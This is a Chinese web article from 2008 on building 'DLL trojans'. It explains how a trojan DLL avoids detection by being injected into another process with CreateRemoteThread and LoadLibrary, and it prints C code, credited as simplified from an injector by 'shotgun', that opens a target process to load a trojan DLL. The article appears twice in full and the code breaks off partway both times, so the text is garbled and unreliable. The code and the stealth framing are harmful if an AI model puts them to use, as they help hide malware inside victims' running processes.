VC++動態(tài)鏈接庫編程之DLL木馬
發(fā)布時(shí)間:2008/8/23 0:00:00 訪問次數(shù):437
dll在程序編制中可作出巨大貢獻(xiàn),它提供了具共性代碼的復(fù)用能力。但是,正如一門高深的武學(xué),若被掌握在正義之俠的手上,便可助其仗義江湖;但若被掌握在邪惡之徒的手上,則必然在江湖上掀起腥風(fēng)血雨。dll正是一種這樣的武學(xué)。dll一旦染上了魔性,就不再是正常的dll程序,而是dll木馬,一種惡貫滿盈的病毒,令特洛伊一夜之間國破家亡。
dll木馬的原理
dll木馬的實(shí)現(xiàn)原理是編程者在dll中包含木馬程序代碼,隨后在目標(biāo)主機(jī)中選擇特定目標(biāo)進(jìn)程,以某種方式強(qiáng)行指定該進(jìn)程調(diào)用包含木馬程序的dll,最終達(dá)到侵襲目標(biāo)系統(tǒng)的目的。
正是dll程序自身的特點(diǎn)決定了以這種形式加載木馬不僅可行,而且具有良好的隱藏性:
(1)dll程序被映射到宿主進(jìn)程的地址空間中,它能夠共享宿主進(jìn)程的資源,并根據(jù)宿主進(jìn)程在目標(biāo)主機(jī)的級別非法訪問相應(yīng)的系統(tǒng)資源;
(2)dll程序沒有獨(dú)立的進(jìn)程地址空間,從而可以避免在目標(biāo)主機(jī)中留下"蛛絲馬跡",達(dá)到隱蔽自身的目的。
dll木馬實(shí)現(xiàn)了"真隱藏",我們在任務(wù)管理器中看不到木馬"進(jìn)程",它完全溶進(jìn)了系統(tǒng)的內(nèi)核。與"真隱藏"對應(yīng)的是"假隱藏","假隱藏"木馬把自己注冊成為一個(gè)服務(wù)。雖然在任務(wù)管理器中也看不到這個(gè)進(jìn)程,但是"假隱藏"木馬本質(zhì)上還具備獨(dú)立的進(jìn)程空間。"假隱藏"只適用于windows9x的系統(tǒng),對于基于winnt的操作系統(tǒng),通過服務(wù)管理器,我們可以發(fā)現(xiàn)系統(tǒng)中注冊過的服務(wù)。
dll木馬注入其它進(jìn)程的方法為遠(yuǎn)程線程插入。
遠(yuǎn)程線程插入技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。將木馬程序以dll的形式實(shí)現(xiàn)后,需要使用插入到目標(biāo)進(jìn)程中的遠(yuǎn)程線程將該木馬dll插入到目標(biāo)進(jìn)程的地址空間,即利用該線程通過調(diào)用windows api loadlibrary函數(shù)來加載木馬dll,從而實(shí)現(xiàn)木馬對系統(tǒng)的侵害。
dll木馬注入程序
這里涉及到一個(gè)非常重要的windows api――createremotethread。與之相比,我們所習(xí)慣使用的createthread api函數(shù)只能在進(jìn)程自身內(nèi)部產(chǎn)生一個(gè)新的線程,而且被創(chuàng)建的新線程與主線程共享地址空間和其他資源。而createremotethread則不同,它可以在另外的進(jìn)程中產(chǎn)生線程!createremotethread有如下特點(diǎn):
。1)createremotethread較createthread多一個(gè)參數(shù)hprocess,該參數(shù)用于指定要?jiǎng)?chuàng)建線程的遠(yuǎn)程進(jìn)程,其函數(shù)原型為:
handle createremotethread(
handle hprocess, //遠(yuǎn)程進(jìn)程句柄
lpsecurity_attributes lpthreadattributes,
size_t dwstacksize,
lpthread_start_routine lpstartaddress,
lpvoid lpparameter,
dword dwcreationflags,
lpdword lpthreadid
);
。2)線程函數(shù)的代碼不能位于我們用來注入dll木馬的進(jìn)程所在的地址空間中。也就是說,我們不能想當(dāng)然地自己寫一個(gè)函數(shù),并把這個(gè)函數(shù)作為遠(yuǎn)程線程的入口函數(shù);
。3)不能把本進(jìn)程的指針作為createremotethread的參數(shù),因?yàn)楸具M(jìn)程的內(nèi)存空間與遠(yuǎn)程進(jìn)程的不一樣。
以下程序由作者shotgun的dll木馬注入程序簡化而得(單擊此處下載,在經(jīng)典書籍《windows核心編程》中我們也可以看到類似的例子),它將d盤根目錄下的troydll.dll插入到id為4000的進(jìn)程中:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
void checkerror ( int, int, char *); //出錯(cuò)處理函數(shù)
pdword pdwthreadid;
handle hremotethread, hremoteprocess;
dword fdwcreate, dwstacksize, dwremoteprocessid;
pwstr pszlibfileremote=null;
void main(int argc,char **argv)
{
int ireturncode;
char lpdllfullpathname[max_path];
wchar pszlibfilename[max_path]={0};
dwremoteprocessid = 4000;
strcpy(lpdllfullpathname, "d:\\troydll.dll");
//將dll文件全路徑的ansi碼轉(zhuǎn)換成unicode碼
ireturncode = multibytetowidechar(cp_acp, mb_err_invalid_chars,
lpdllfullpathname, strlen(lpdllfullpathname),
pszlibfilename, max_path);
checkerror(ireturncode, 0, "multbytetowidechar");
//打開遠(yuǎn)程進(jìn)程
hremoteprocess = openprocess(process_create_thread | //允許創(chuàng)建線程
process_vm_operation | //允許vm操作
process_vm_write, //允許vm寫
false, dwremoteprocessid );
checkerror( (int) hremoteprocess, null, "remote process not exist or access denied!");
//計(jì)算dll路徑名需要的內(nèi)存空間
int cb = (1 + lstrlenw(pszlibfilename)) * sizeof(wchar);
<dll在程序編制中可作出巨大貢獻(xiàn),它提供了具共性代碼的復(fù)用能力。但是,正如一門高深的武學(xué),若被掌握在正義之俠的手上,便可助其仗義江湖;但若被掌握在邪惡之徒的手上,則必然在江湖上掀起腥風(fēng)血雨。dll正是一種這樣的武學(xué)。dll一旦染上了魔性,就不再是正常的dll程序,而是dll木馬,一種惡貫滿盈的病毒,令特洛伊一夜之間國破家亡。
dll木馬的原理
dll木馬的實(shí)現(xiàn)原理是編程者在dll中包含木馬程序代碼,隨后在目標(biāo)主機(jī)中選擇特定目標(biāo)進(jìn)程,以某種方式強(qiáng)行指定該進(jìn)程調(diào)用包含木馬程序的dll,最終達(dá)到侵襲目標(biāo)系統(tǒng)的目的。
正是dll程序自身的特點(diǎn)決定了以這種形式加載木馬不僅可行,而且具有良好的隱藏性:
(1)dll程序被映射到宿主進(jìn)程的地址空間中,它能夠共享宿主進(jìn)程的資源,并根據(jù)宿主進(jìn)程在目標(biāo)主機(jī)的級別非法訪問相應(yīng)的系統(tǒng)資源;
。2)dll程序沒有獨(dú)立的進(jìn)程地址空間,從而可以避免在目標(biāo)主機(jī)中留下"蛛絲馬跡",達(dá)到隱蔽自身的目的。
dll木馬實(shí)現(xiàn)了"真隱藏",我們在任務(wù)管理器中看不到木馬"進(jìn)程",它完全溶進(jìn)了系統(tǒng)的內(nèi)核。與"真隱藏"對應(yīng)的是"假隱藏","假隱藏"木馬把自己注冊成為一個(gè)服務(wù)。雖然在任務(wù)管理器中也看不到這個(gè)進(jìn)程,但是"假隱藏"木馬本質(zhì)上還具備獨(dú)立的進(jìn)程空間。"假隱藏"只適用于windows9x的系統(tǒng),對于基于winnt的操作系統(tǒng),通過服務(wù)管理器,我們可以發(fā)現(xiàn)系統(tǒng)中注冊過的服務(wù)。
dll木馬注入其它進(jìn)程的方法為遠(yuǎn)程線程插入。
遠(yuǎn)程線程插入技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。將木馬程序以dll的形式實(shí)現(xiàn)后,需要使用插入到目標(biāo)進(jìn)程中的遠(yuǎn)程線程將該木馬dll插入到目標(biāo)進(jìn)程的地址空間,即利用該線程通過調(diào)用windows api loadlibrary函數(shù)來加載木馬dll,從而實(shí)現(xiàn)木馬對系統(tǒng)的侵害。
dll木馬注入程序
這里涉及到一個(gè)非常重要的windows api――createremotethread。與之相比,我們所習(xí)慣使用的createthread api函數(shù)只能在進(jìn)程自身內(nèi)部產(chǎn)生一個(gè)新的線程,而且被創(chuàng)建的新線程與主線程共享地址空間和其他資源。而createremotethread則不同,它可以在另外的進(jìn)程中產(chǎn)生線程!createremotethread有如下特點(diǎn):
(1)createremotethread較createthread多一個(gè)參數(shù)hprocess,該參數(shù)用于指定要?jiǎng)?chuàng)建線程的遠(yuǎn)程進(jìn)程,其函數(shù)原型為:
handle createremotethread(
handle hprocess, //遠(yuǎn)程進(jìn)程句柄
lpsecurity_attributes lpthreadattributes,
size_t dwstacksize,
lpthread_start_routine lpstartaddress,
lpvoid lpparameter,
dword dwcreationflags,
lpdword lpthreadid
);
。2)線程函數(shù)的代碼不能位于我們用來注入dll木馬的進(jìn)程所在的地址空間中。也就是說,我們不能想當(dāng)然地自己寫一個(gè)函數(shù),并把這個(gè)函數(shù)作為遠(yuǎn)程線程的入口函數(shù);
。3)不能把本進(jìn)程的指針作為createremotethread的參數(shù),因?yàn)楸具M(jìn)程的內(nèi)存空間與遠(yuǎn)程進(jìn)程的不一樣。
以下程序由作者shotgun的dll木馬注入程序簡化而得(單擊此處下載,在經(jīng)典書籍《windows核心編程》中我們也可以看到類似的例子),它將d盤根目錄下的troydll.dll插入到id為4000的進(jìn)程中:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
void checkerror ( int, int, char *); //出錯(cuò)處理函數(shù)
pdword pdwthreadid;
handle hremotethread, hremoteprocess;
dword fdwcreate, dwstacksize, dwremoteprocessid;
pwstr pszlibfileremote=null;
void main(int argc,char **argv)
{
int ireturncode;
char lpdllfullpathname[max_path];
wchar pszlibfilename[max_path]={0};
dwremoteprocessid = 4000;
strcpy(lpdllfullpathname, "d:\\troydll.dll");
//將dll文件全路徑的ansi碼轉(zhuǎn)換成unicode碼
ireturncode = multibytetowidechar(cp_acp, mb_err_invalid_chars,
lpdllfullpathname, strlen(lpdllfullpathname),
pszlibfilename, max_path);
checkerror(ireturncode, 0, "multbytetowidechar");
//打開遠(yuǎn)程進(jìn)程
hremoteprocess = openprocess(process_create_thread | //允許創(chuàng)建線程
process_vm_operation | //允許vm操作
process_vm_write, //允許vm寫
false, dwremoteprocessid );
checkerror( (int) hremoteprocess, null, "remote process not exist or access denied!");
//計(jì)算dll路徑名需要的內(nèi)存空間
int cb = (1 + lstrlenw(pszlibfilename)) * sizeof(wchar);
<
熱門點(diǎn)擊
- CPLD開發(fā)板和FPGA開發(fā)板的區(qū)別
- 基于FPGA和AD1836的I2S接口設(shè)計(jì)
- vc中如何使用設(shè)備描述表
- Visual C++中調(diào)用DLL實(shí)現(xiàn)數(shù)據(jù)加密
- Visual C++6.0 API函數(shù)操作技
- VC++中進(jìn)程與多進(jìn)程管理的方法
- JavaCard CPU的設(shè)計(jì)與FPGA實(shí)現(xiàn)
- 如何用C語言開發(fā)DSP嵌入式系統(tǒng)
- C和C++ 字符串字面量的比較
- Xilinx針對Virtex-5 FXT F
推薦技術(shù)資料
- 聲道前級設(shè)計(jì)特點(diǎn)
- 與通常的Hi-Fi前級不同,EP9307-CRZ這臺分... [詳細(xì)]
- 100V高頻半橋N-溝道功率MOSFET驅(qū)動
- 集成高端和低端 FET 和驅(qū)動
- 柵極驅(qū)動單片半橋芯片MP869
- 數(shù)字恒定導(dǎo)通時(shí)間控制模式(COT)應(yīng)用探究
- 高效率 (CSP/QFN/BG
- IC 工藝、封裝技術(shù)、單片設(shè)
- 多媒體協(xié)處理器SM501在嵌入式系統(tǒng)中的應(yīng)用
- 基于IEEE802.11b的EPA溫度變送器
- QUICCEngine新引擎推動IP網(wǎng)絡(luò)革新
- SoC面世八年后的產(chǎn)業(yè)機(jī)遇
- MPC8xx系列處理器的嵌入式系統(tǒng)電源設(shè)計(jì)
- dsPIC及其在交流變頻調(diào)速中的應(yīng)用研究